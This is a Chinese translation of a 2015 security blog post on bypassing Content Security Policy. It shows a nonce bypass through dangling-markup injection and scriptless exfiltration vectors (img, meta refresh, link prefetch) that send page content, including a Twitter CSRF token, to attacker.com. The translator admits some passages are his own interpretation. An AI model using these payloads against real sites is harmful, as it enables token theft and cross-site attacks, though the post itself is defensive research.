这篇文章是对http://blog.innerht.ml/csp-2015/ 的翻译,因为最近在想对抗csp策略的一些绕过方式,而该文章给了我不少的tips,个人认为还是值得和大家分享一下。
2015年。事情已经发生了很多变化,我们目睹了ECMAScript的版本在2015升级到了第5版本。它使得前端技术具有快速的变化,也有像资源的完整性和客户端的保护机制。许多新的建议被提到网站安全的防范上。
CSP,安全机制,试图涵盖在客户端的广泛的攻击面,也升级到第二阶段。在这篇文章里,我想简单用一个我用在推特的bug绕过csp的例子,讨论了它的有效性和存在的不足。
内容安全策略(CSP)是一个基于浏览器的白名单内容来源。
csp并不是万能的。
然而,一个精心构造的政策,实际上可以大大减少被攻击的可能性。那么,这样的策略应该如何正确使用?下面是一个很好的例子:
默认设置(default-src)为“none”类型。这是一种推荐的方法,一个浏览器支持,并配置以后,就可以开始投入使用。
所有的来源都在白名单的域名中得到控制(例如,Twitter.com和*。twimg。com),虽然让他们只提供静态内容更好。如果你需要引入CDN和外部资源,则需要小心。
尽可能不要配置这些选项 unsafe-evil 和 unsafe-inline 还有 script-src 以及 style-src。
为了证明csp效果如何,让我们来看看一个xss案例。
Twitter修正了一个XSS(价值$ 1400 ),2015年来看,这样的xss还有很多。但是自从引入csp之后,这样的xss就没办法在firefox、chrome上运行了,不得不说csp还是很厉害的。
事实上,每一个主流的浏览器都支持csp策略。你可以说大部分的用户都不会受这个影响。但总有一些人仍在坚持。
在未来,csp有可能使得大部分xss攻击没办法得以利用。但是要记住,csp仅仅只是缓解攻击的一种策略,并非一种解决xss的方案,犹如二进制中的DEP和ASLR。仅仅只是提高攻击门槛。
当然,csp有效的前提是正确的部署。常见的错误包括错误的部署,与允许从内嵌不安全的脚本等,譬如允许通过
<script>alert(1)</script>这种形式进行引入不安全的js脚本。
X-Content-Security-Policy
我经常看到报道推荐开发人员加入x-content-security-policy头在他们的应用程序以获取CSP工作:这其实是一个常见的误解。
它看起来像IE支持CSP。但仔细一看,支持是有限的沙盒,这是iframe的沙盒属性相同。总之,它不会做你所期望的,甚至可能会混淆浏览器。
所以一个完善的策略一定意味着它是牢不可破的吗?并不是,至少在某些情况下它可能被突破。
在我们继续下面内容之前,需要知道一个强大的工具,当它涉及到内容注入。悬挂标记注射技术是由Michal Zalewski 提出的,提示接收解析器消耗后的HTML语法的一个重要组成部分,使文档结构部分被改变了。“悬空”这个词意味着注入的标记是不完整的。因此,进行攻击,注入必须出现在其他要操作的标记之前。我以前也使用过这种技术。
如上所述,目前在CSP 2的一个新概念的情况下,开发商不能避免使用内联脚本。它本质上是一种不可预测的随机值在脚本SRC指令表示,作为临时属性。只有正确的那些<script>标记的js将会被执行。换句话说,即使攻击者能够注入标记网页,攻击会因为攻击者无法猜测的随机值受到阻碍。
下面来让我们看一个测试:
Test-bed: http://innerht.ml/labs/csp/nonce.php?xss=potato (Chrome and Firefox only)
Content-Security-Policy: default-src 'none'; script-src 'self' 'nonce-$RANDOM' <p>{{injection point}}</p> <p>The quick brown fox jumps over the lazy dog</p> <script id="in-action" nonce="{{$RANDOM}}">document.write('CSP in action!');</script>
可以看到,配置了csp的,那么他是否就安全了呢?并不是的。
Bypass: http://innerht.ml/labs/csp/nonce.php?xss=%3Cscript+src=//14.rs+a=%22
为什么攻击向量 (<script src=//14.rs a="
)仍然可以嵌入成功?让我们看看控制台怎么说的。
这是因为:
1、该标记没有完整的结束,而浏览器默认补全了(我是这么理解的)
2、a=" 创建了一个新属性
3、属性的值被重新分隔了
4、合法的<script>被忽略掉了,而目前变成了一个有效的标签。
这是一个独特的案例:
<!-- '" --><script nonce=[..]></script>
不完整的修复,仍然会导致xss的发生,尤其是滥用字符的情况下。
Content Exfiltration
到目前为止,我们只覆盖了XSS。但如果用户禁用了JavaScript或编写脚本的策略真的很强吗?内容泄露(又名无脚本攻击)就派上用场了。这种攻击的思想是提取重要的内容(例如用户的个人数据和CSRF令牌)。
让我们看看下面的tips:
<img src=“http://attacker.com/? <p>My secret: I hate raisins.</p> <span class=”tooltip”></span>
可以发现<img>标签没有被完整的闭合。
代码注入部分为:<img src=“http://attacker.com/?
在这一点上,就不难明白为什么CSP提供了如此之多的源的相关指令(<video>和其他元素,获取资源的能力如媒体链接)。所以,如果一个网站采用了严格的策略,只让特定的来源(如推特)通过,攻击者的攻击则难以达成。
但是,花点时间,也并不是不可能实现绕过。
有一些CSP不能覆盖navigation。那就是我们可以使用< a href =“http://attacker.com/?更换代码注入的位置并达到同样的目的,用一个额外的步骤来引诱受害者点击链接。我们甚至可以不与用户交互做Meta刷新(<meta http-equiv =“refresh”content=“0;url= http://attacker.com/?有人建议添加该指令,但似乎没有太多。在下面的现实生活的例子,在这方面我将公布更多的漏洞。
马蒂亚斯卡尔森跟我讨论矢量<meta http-equiv =“Cookie”>覆盖CSRF的cookie。我会在另一个博客文章中谈论这个。
案例研究:推特的CSRF令牌泄漏
一个微不足道的XSS是在几个月前发现的。在推特的OAuth授权和身份验证页面,没有进行验证oauth_callback参数导致的xss。
在两个输出点的XSS因为CSP的关系受阻。当然,像Internet Explorer由于其CSP支持导致该xss能很好利用。但是,我们能再进一步吗?
一个有趣的事情是关于推特他们使用一个静态的CSRF令牌(authenticity_token)。这就意味着如果我们可以提取的道理,我们可以利用它进行CSRF攻击。巧合的是,这样的令牌位于两者之间的输出。这样我们可以通过不完整的标签来偷取他:
<meta http-equiv=“refresh” content=“0;url=http://original “><meta http-equiv=“refresh” content=‘0;url=http://attacker.com/?> [..] <input type=”hidden” name=”authenticity_token” value=”[..]”> [..] If your browser doesn’t redirect you please <a class=“maintain-context” href=“”><meta http-equiv=“refresh” content=‘0;url=http://attacker.com/?>
代码注入的部分为:”><meta http-equiv=”refresh” content=’0;url=http://attacker.com/?>
因为浏览器只能处理1个重定向,他们只能在3个重定向中的1个中进行选择。一些浏览器使用第一个和最后一个,但从来没有处理中间的选择。这很麻烦,因为我们只关心中间的重定向如何进行处理的。
现在想想:真是CSP覆盖所有可能的方式来获取资源?并不一定。
httpleaks是一个项目,旨在通过枚举所有可能的方式请求浏览器来挖掘漏洞。他们可以是一些特定的浏览器,功能,规格和诸如此类的新定义。最重要的是,他们中的一些人将不会受到CSP的保护。
最后,我们只需要避免使我们预期的请求不会是预期的重定向即可。这可以通过使用JavaScript:伪协议来实现。现在一切都设置好了,给出最后的poc:
javascript:”><link rel=prefetch href=’//attacker.com/?
可以看到,攻击成功了:
结尾:翻译这文章太辛苦了- -可能有的还不是作者原本的意思,都是结合自己的理解,也许有的对正在bypass csp的你有点tips,那就够了。